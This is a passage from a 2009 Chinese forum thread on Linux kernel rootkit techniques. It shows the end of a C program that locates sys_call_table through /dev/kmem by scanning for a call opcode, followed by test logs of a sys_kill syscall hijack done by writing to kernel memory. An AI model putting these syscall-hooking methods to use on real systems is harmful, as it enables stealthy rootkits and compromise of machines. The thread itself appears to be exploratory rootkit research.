  128.     p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);  //只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了,call something(,eax,4)指令的机器码是0xff 0x14 0x85，因此搜索这个字符串。

  130.     sct = *(unsigned*)(p+3); //sys_call_table地址就在0xff 0x14 0x85之后

  132.     if (p)
  133.     {

  135.         printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);

  137.     }

  139.     close(kmem_fd);
  140.     return 0;
  141. }
复制代码

作者: gcbin007   发布时间: 2009-10-13

测试代码，都可以在
http://blog.chinaunix.net/u/12592/showart_1903466.html

测试结果，/dev/kmem和lkm方式获得的sys_call_table的地址是一样的
/dev/kmem测试：


QUOTE:
idtr base at 0xC036C000
idt80: flags=EF sel=60 off=C010388C
sys_call_table at 0xc02bfaa0, call dispatch at 0xbf8debae
addr(__kmalloc): c0171d25
kmalloc: 0xc0171d25
Old sys_uname: 0xc012df46
off: 0xc02bfc88
write: 4
Now sys_uname: 0xc0171d25
off: 0xc02bfc88
write: 4
Kernel Space allocation: 0xf6d12440
Write Kill Opcode To Kernel Buf.
addr(u per_cpu__current_task): c03b4000
addr(sys_kill): c012ba45
off: 0xf6d12440
write: 85
Write Opcode Successed!
off: 0xc02bfb34
write: 4
hijack sys_kill from 0xc012ba45[-1072514491] to 0xf6d12440[-154065856]
###NOTES to recovery sys_kill.



lkm测试：


QUOTE:
debian-wangyao:/home/wangyao/Documents/Reports/rootkit_report/0802/code/others/print_sys_call_table# tail /var/log/kern.log
Oct 20 09:59:35 debian-wangyao kernel: [   78.431383] CPU1 attaching NULL sched-domain.
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454] CPU0 attaching sched-domain:
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454]  domain 0: span 0-1
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454]   groups: 0 1
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454] CPU1 attaching sched-domain:
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454]  domain 0: span 0-1
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454]   groups: 1 0
Oct 20 10:02:27 debian-wangyao kernel: [  252.056927] system_call: 0xc010388c
Oct 20 10:02:27 debian-wangyao kernel: [  252.056927] Here Find sys_call_table: 0xc01038ca
Oct 20 10:02:27 debian-wangyao kernel: [  252.056927] sys_call_table: 0xc02bfaa0

作者: Godbach   发布时间: 2009-10-20

2.6.x以后 kmem都没了， mem都不让写了， 别搞这些了， 有时间多搞搞lkm的吧

作者: CUDev   发布时间: 2009-10-20

CUDev兄，你测试一下我在22楼的代码

作者: W.Z.T   发布时间: 2009-10-20

不好意思，那个帖中的代码有些问题，已经更正了。
http://blog.chinaunix.net/u/12592/showart_1421096.html

[ 本帖最后由 CUDev 于 2009-10-20 10:26 编辑 ]

作者: Godbach   发布时间: 2009-10-20

相关阅读 更多

热门阅读

热门下载

更多
关于本站 免责申明 联系我们

Copyright 2006-2020 php爱好者(phpfans.net) All Rights Reserved.备案号：湘ICP备2023016114号-2

本站为非盈利性网站，不接受任何广告。本站所有资源均由网友上传，如有侵权，请发邮件至 [email protected] phpfans.net